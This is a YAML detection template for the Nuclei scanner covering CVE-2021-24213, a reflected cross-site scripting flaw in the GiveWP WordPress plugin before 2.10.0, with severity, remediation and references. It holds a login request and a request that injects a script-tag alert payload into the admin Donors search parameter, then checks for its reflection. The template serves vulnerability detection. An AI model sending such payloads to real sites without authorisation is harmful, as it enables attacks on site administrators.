id: CVE-2021-24213

info:
  name: GiveWP <= 2.9.7 - Cross-Site Scripting
  author: Shivam Kamboj
  severity: medium
  description: |
    GiveWP – Donation Plugin and Fundraising Platform plugin for WordPress versions before 2.10.0 is vulnerable to Reflected Cross-Site Scripting via the 's' parameter in the admin Donors page.
  impact: |
    Attackers can execute arbitrary scripts in authenticated admin browsers, potentially leading to session hijacking, privilege escalation, WordPress admin account takeover, malicious plugin installation, and website defacement.
  remediation: |
    Update GiveWP plugin to version 2.10.0 or later.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24213
    - https://wpscan.com/vulnerability/da4ab508-a423-4c7f-a1d4-42ec6f989309
    - https://bentl.ee/posts/cve-givewp/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-24213
    epss-score: 0.0137
    epss-percentile: 0.68339
    cwe-id: CWE-79
  metadata:
    verified: true
    max-request: 2
    vendor: givewp
    product: givewp
    framework: wordpress
  tags: cve,cve2021,wordpress,wp,wp-plugin,give,authenticated

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In
    matchers:
      - type: dsl
        dsl:
          - status_code == 302
          - contains(header, 'wordpress_logged_in')
        condition: and
        internal: true

  - raw:
      - |
        GET /wp-admin/edit.php?post_type=give_forms&page=give-donors&view=donors&s=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "text/html")'
          - 'contains_all(body, "><script>alert(document.domain)</script>", "give-donors")'
        condition: and
# digest: 4a0a0047304502204ac2f8c1f172daadde56211ae189ab194e57f27168fb979411a93170c7283aa6022100a094b8d15c57bf5b173a6a442db825bb2e4327cca804224b9af3417a873fd1b3:922c64590222798bb761d5b6d8e72950